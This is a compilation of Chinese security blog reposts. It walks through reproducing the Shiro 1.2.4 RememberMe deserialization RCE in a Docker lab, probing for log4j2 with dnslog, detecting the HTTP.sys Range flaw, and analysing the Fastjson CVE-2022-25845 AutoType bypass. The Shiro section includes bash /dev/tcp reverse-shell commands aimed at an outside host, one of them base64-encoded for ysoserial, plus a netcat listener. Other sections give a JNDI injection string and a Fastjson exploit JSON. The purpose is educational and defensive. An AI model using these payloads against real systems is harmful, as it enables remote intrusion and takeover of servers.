Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

本文转自莫憨憨

影响版本：Apache Shiro <= 1.2.4

漏洞产生原因:

shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像

1

docker pull medicean/vulapps:s_shiro_1

2.启动环境

1

docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

如需进入环境，命令为

1

docker exec -it name /bin/bash

3.web访问

http://127.0.0.1 能看到如下页面即可

或虚拟机外面用真实ip访问

至此漏洞环境搭建成功

漏洞复现

1.抓包测试

查看返回包里setcookie有rememberme的字样

2.继续测试

首先最简单的测试方法是用dnslog，看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe

3.工具准备

生成payload的脚本使用的是python3,运行报错就安装一下模块

4.生成payload：

双引号中是想要执行的命令，如果这里没有公网VPS，就用dnslog来证明。攻击原理一样，不认可的杠精可直接怼

1

py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图：

然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中，或者直接放进参数中，提交看页面回显和dnslog页面是否有数据过去

6.到ceye平台查看日志记录

dnslog日志刷新后有记录了，说明payloda执行成功

反弹shell

当然了，有VPS的情况下，为何不反弹一下shell呢？

1.使用脚本生成key

反弹shell的命令：bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

1

py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS：ip假的，不打码，观看流畅

2.先公网VPS监听反弹shell的命令

1

nc -lvp 7878

3.加入payload，提交数据包

这里使用curl也能达到burp的效果

1
2

// 加 -I 是只看响应头，这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息

4.vps收到了反弹回来的shell

题外话1

研究这个漏洞，是因为客户要求排查下资产，然后找不到集成的工具和一键式检查的。
漏洞的事情OK了，还是觉得自己太菜，要是代码够给力，写个集成的丢github上就真的香。

题外话2

还有一个思路，看大佬文章时，这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的，后续学会了再补上笔记

1

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

参考链接：

https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

dnslog简单验证log4j2漏洞

本文转自星夜

简单步骤

进dnslog：http://www.dnslog.cn/

Get SubDomain 得到一个随机的子域名

拼进${jndi:ldap://xxxxx.dnslog.cn/exp}

往任意可能在log中塞的输入填

这里拿tx玩，如群中发送，可得到tx云的记录

【渗透整理】HTTP.sys远程代码执行

本文转自久违 °

漏洞介绍

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响环境：Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

漏洞知识

说到HTTP.sys远程代码执行漏洞，不得不先介绍一下Range首部字段。

在“上古时代”，网络并不是很好，下载大型文件很不容易。下载途中如果网络中断，就得重头开始下。为了解决这个问题，HTTP/1.1引入了范围请求。

在请求报文的Range首部字段中指定资源的byte范围，告诉服务器，请求的是资源哪个范围的内容，让断点续传和并行下载得以实现。

如果服务器支持范围请求，响应包中就会存在Accept-Ranges字段(且值不为“none”，bytes为资源范围的单位)，并在Content-Length字段中告诉客户端资源的大小范围。

如果没有Accept-Ranges字段，则服务器可能不支持范围请求，有的服务器会明确将值设为“none”。

服务器面对范围请求，有三种响应：

请求成功：

响应206Partial Content请求范围越界：（范围超过资源的大小）

响应416Requested Range Not Satisfiable不支持范围请求：

响应200OK

而HTTP.sys远程代码执行漏洞正是利用Range字段注入恶意数据。该漏洞的检测，也是利用服务器面对范围请求时的响应特征来判断。

漏洞检测方法

1、先判断目标环境是否为Windows+IIS

2、然后构建Range字段进行检测即可

检测时，在请求包中添加Range字段，如下：

Range: bytes=0-18446744073709551615

【18446744073709551615的十六进制为0xFFFFFFFFFFFFFFFF(16个F)是64位无符号整数所能表达的最大整数，整数溢出和这个超大整数有关】

然后go给服务器

1
2
3

GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

或者：

1

curl -v www.test.com -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

服务器响应 400，证明不存在HTTP.sys远程代码执行漏洞

HTTP Error 400. The request has an invalid header name.

服务器响应 416，则证明存在该漏洞

1
2
3
4
5

HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Thu, 22 Aug 2013 23:53:12 GMT
Accept-Ranges: bytes
ETag: "2edebc2929fce1:0"

漏洞修复建议：

升级安全补丁

CVE-2022-25845-Fastjson “Auto Type Bypass” RCE漏洞分析

本文转自vayci

前言

几周前， Fastjson 发布了一个新版本 (1.2.83) ，其中包含一项安全漏洞修复。据称攻击者可以利用此漏洞在远程机器上执行代码。根据发布的多篇文章，攻击者通过漏洞可以绕过Fastjson中的“AutoTypeCheck”机制，完成远程代码执行。

这个 Fastjson 漏洞最近才收到一个 CVE 漏洞标识符 – CVE-2022-25845，以及高达8.1的CVSS漏洞评分。尽管如此，这个漏洞仍扑朔迷离。尽管这是被宣称为在无处不在的组件中存在的一个高危RCE漏洞（将近5000个Maven项目都存在Fastjson依赖！），却几乎没有任何关于它的公开技术细节。到底是哪里存在漏洞，又是在什么条件下容易被攻击？

在本篇文章中，我们深入研究了这个Fastjson漏洞的严重性，以及那些类型的Java应用程序受此影响。文末是给目前无法升级到指定Fastjson版本的开发人员的一些策略建议。

哪些情况会受到CVE-2022-25845漏洞的影响？

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序，在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法，但不指定要反序列化的特定类，都会受此漏洞的影响。

虽然看起来很宽泛，但是我们可以发现，在这些前提条件下，攻击者也只能通过这个漏洞调用特定类型的Java反序列化gadget（继承Throwable类的gadget类），这大大限制了这个漏洞的实际影响。

技术深入探究

Fastjson 是一个 Java 库，可以将 Java 对象序列化和反序列化，实现Java对象和JSON的相互转换。

和大多数 JSON 类一样，Fastjson 支持将基本 JSON 类型（数组和对象）分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。

然而，Fastjson也可以将用户的Java对象（POJO）序列化为JSON，或从JSON反序列化为Java对象。

例如，我们定义了一个名为User的类，以下代码时将其进行序列化为JSON，然后再进行反序列化。

1
2
3
4
5
6
7
8
9

public class App
{
    public static void main( String[] args )
    {
        ...
  String jsonString = JSON.toJSONString(user);
  User user2 = JSON.parseObject(jsonString, User.class);
    }
}

JSON.parseObject()返回一个 JSONObject 对象， 然后这个对象又转换为User类。

有时候，开发人员想要更灵活的代码来接收序列化的JSON，告诉代码JSON应该被反序列化为哪种类。例如下面这种JSON形式：

1
2
3
4
5
6
7
8
9
10
11
12
13

    "users": [
        {
            "@type": "AdminUser",
            "username": "admin",
            "password": "21232f297a57a5a743894a0e4a801fc3"
        },
        {
            "@type": "GuestUser",
            "username": "guest",
            "password": ""
        }
    ]
}

Fastjson 支持一个名为“AutoType”的功能。启用该功能后，可以为每个用户entry引入类型。开发人员只需要调用如下代码：

1
2
3
4

JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是，如果反序列化的JSON是用户可以控制的，则在启用AutoType的情况下对其进行解析可能会出现反序列化安全问题。因为攻击者可以实例化Classpath上可用的任意类，并为类的构造函数提供任意参数。这个问题已经被很多次证实确实可以利用，并且例如ysoserial之类的框架就存在这里攻击手段的风险（Java的“gadget”类）。

因此，Fastjson的开发者选择默认禁用了AutoType功能，这应该能够安全地解析人员JSON数据了。但是，AutoType的机制比这复杂得多…

绕过 AutoType 默认禁用策略

当JSON.parseObject()被调用时，它最终会调用到 DefaultJSONParser.parseObject()，并且传入参数 object 为 JSONObject，fieldName 为 null。当这个方法遇到“@type”这个符号（JSON.DEFAULT_TYPE_KEY）时，就会调用config.checkAutoType：

1
2
3
4
5
6
7

if (key == JSON.DEFAULT_TYPE_KEY
        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');

    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
        continue;
    }

最终，在所有flag都是默认的情况下，代码会调用至config.checkAutoType()。在这里，我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

if (expectClass == null) {
            expectClassFlag = false;
        } else {
            long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
            if (expectHash == 0x90a25f5baa21529eL
                    || expectHash == 0x2d10a5801b9d6136L
                    || expectHash == 0xaf586a571e302c6bL
                    || expectHash == 0xed007300a7b227c6L
                    || expectHash == 0x295c4605fd1eaa95L
                    || expectHash == 0x47ef269aadc650b4L
                    || expectHash == 0x6439c4dff712ae8bL
                    || expectHash == 0xe3dd9875a2dc5283L
                    || expectHash == 0xe2a8ddba03e69e0dL
                    || expectHash == 0xd734ceb4c3e9d1daL
            ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

这些被Ban的类是以下这些：

• java.lang.Object
• java.io.Serializable
• java.lang.Cloneable
• java.lang.Runnable
• java.lang.AutoCloseable
• java.io.Closeable
• java.lang.Iterable
• java.util.Collection
• java.lang.Readable
• java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名单的类。这个仓库维护了被列入Fastjson黑名单的类的hash值。

最后，代码将尝试找到一个反序列化器deserializer，用来对这个已经被JSON序列化的类进行反序列化。

1
2
3
4
5
6
7
8
9
10

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
    && deserClass != JavaBeanDeserializer.class
    && deserClass != ThrowableDeserializer.class) {
    this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
    this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

在 ParserConfig.getDeserializer()内部，有一个关键检查，用于验证目标类是否继承了 Throwable 类：

1
2

} else if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”，它将使用 autoTypeCheck()检查并继续正常反序列化：

1
2
3
4

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此，漏洞的核心在于 ，只要目标类继承自 Throwable 类，Fastjson便可以反序列化为任意类！

在这种情况下，负责创建反序列化类的函数是 createException()，它处理了 3 种不同类型的构造函数。一个没有任何参数，一个带有异常消息的参数，一个带有异常消息和异常原因参数。在此之后，它将先尝试调用更为复杂的构造函数（causeConstructor、messageConstructor 和 defaultConstructor）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
        Constructor<?> defaultConstructor = null;
        Constructor<?> messageConstructor = null;
        Constructor<?> causeConstructor = null;
        for (Constructor<?> constructor : exClass.getConstructors()) {
            Class<?>[] types = constructor.getParameterTypes();
            if (types.length == 0) {
                defaultConstructor = constructor;
                continue;
            }

            if (types.length == 1 && types[0] == String.class) {
                messageConstructor = constructor;
                continue;
            }

            if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
                causeConstructor = constructor;
                continue;
            }
        }

        if (causeConstructor != null) {
            return (Throwable) causeConstructor.newInstance(message, cause);
        }

        if (messageConstructor != null) {
            return (Throwable) messageConstructor.newInstance(message);
        }

        if (defaultConstructor != null) {
            return (Throwable) defaultConstructor.newInstance();
        }

作为类实例化的一步，还会为每个相关成员变量调用一个 setter方法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

if (otherValues != null) {
    JavaBeanDeserializer exBeanDeser = null;

    if (exClass != null) {
        if (exClass == clazz) {
            exBeanDeser = this;
        } else {
            ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
            if (exDeser instanceof JavaBeanDeserializer) {
                exBeanDeser = (JavaBeanDeserializer) exDeser;
            }
        }
    }

    if (exBeanDeser != null) {
        for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
            String key = entry.getKey();
            Object value = entry.getValue();

            FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
            if (fieldDeserializer != null) {
                FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
                if (!fieldInfo.fieldClass.isInstance(value)) {
                    value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
                }
                fieldDeserializer.setValue(ex, value);
            }
        }
    }
}

怎么利用 CVE-2022-25845 漏洞？

在了解了AutoType 机制中的上述“漏洞”之后，让我们看看一个在现实中利用这个漏洞的可行性。这个漏洞据称可以实现远程代码执行。

由 YoungBear 发布的漏洞利用方案，通过传入这个JSON可以运行任意系统操作命令。

1
2
3
4
5

{
    "@type": "java.lang.Exception",
    "@type": "com.example.fastjson.poc20220523.Poc20220523",
    "name": "calc"
}

这个漏洞利用方案依赖于在 Java 应用程序中定义的下面这个继承Exception的类：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
 * @author youngbear
 * @email youngbear@aliyun.com
 * @date 2022/5/29 8:28
 * @blog https://blog.csdn.net/next_second
 * @github https://github.com/YoungBear
 * @description POC类：需要代码中有该类
 */
public class Poc20220523 extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

当反序列化执行到上面这一段JSON时，Poc20220523这个类就创建了，并且提供name参数是通过自动调用setter方法。

如代码所示，这将最终调用包含 str = “calc”的恶意 setName() setter 函数：

1
2
3
4
5
6
7

public void setName(String str) {
    try {
        Runtime.getRuntime().exec(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

这部分的实际代码内容为打开windows计算器：

这个漏洞利用方案显然只是一个演示，因为任何正常的 Java 应用程序都不会包含类似于 Poc20220523 这样会基于外部参数运行 shell 命令的异常派生类。

现在亟待解决的问题是 — 是否有大家熟知的 Java“gadget”类可以作为此漏洞的一部分被滥用？即继承自Exception或Throwable，并且存在相关的构造函数或者setter方法，可能会造成实际安全影响的Java类。

目前，有一个兼容的gadget类（来自 Selenium 库）已经在被发布了。它会导致非常低影响的数据泄漏：

1
2
3
4
5
6
7
8
9

{
    "x":{
      "@type":"java.lang.Exception",
      "@type":"org.openqa.selenium.WebDriverException"
    },
    "y":{
      "$ref":"$x.systemInformation"
    }
}

反序列化这个 JSON 最终会创建一个 HashMap，其中“y”值为有关机器的一些基本信息：

1

"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根据应用程序的不同，这些信息最终可能会被存储或发送给攻击者（例如，它可能被写入可远程访问日志）。

在检查了 ysoserial 等其他知名来源后，我们没有发现任何可以在实际场景中能够导致远程代码执行的gadget类。因此，想要利用这个漏洞进行实际攻击的黑客，需要对被共计的Java应用服务器进行深入研究，以找到一个加载在Classpath中的自定义的Java gadget类。这个类继承自Exception/Throwable，并包含可用于获取权限、泄漏数据甚至运行任意代码的相关方法。

总而言之，我们评估目前这个漏洞似乎并未构成很高风险的威胁。尽管存在一个潜在影响巨大（远程代码执行）的公共PoC漏洞可利用，并且攻击的条件并不是甚微（将不受信任的输入数据传递给特定易受攻击的 API）。最重要的是，必须找到一个合适的gadget类（或许由于一些不太可能的属性根本不存在）来突破特定被攻击的目标。

如何完全修复 CVE-2022-25845？

要完全修复 CVE-2022-25845，我们建议将 Fastjson 升级到最新版本，目前为 1.2.83。

如何降低 CVE-2022-25845 风险？

启用 Fastjson 的“Safe Mode”可以减缓这个漏洞风险。

可以通过执行以下任何一种操作来开启Safe Mode：

1.通过代码配置 ParserConfig.getGlobalInstance().setSafeMode(true);
2.通过JVM启动参数配置 -Dfastjson.parser.safeMode=true
3.通过Fastjson的配置文件配置项 fastjson.parser.safeMode=true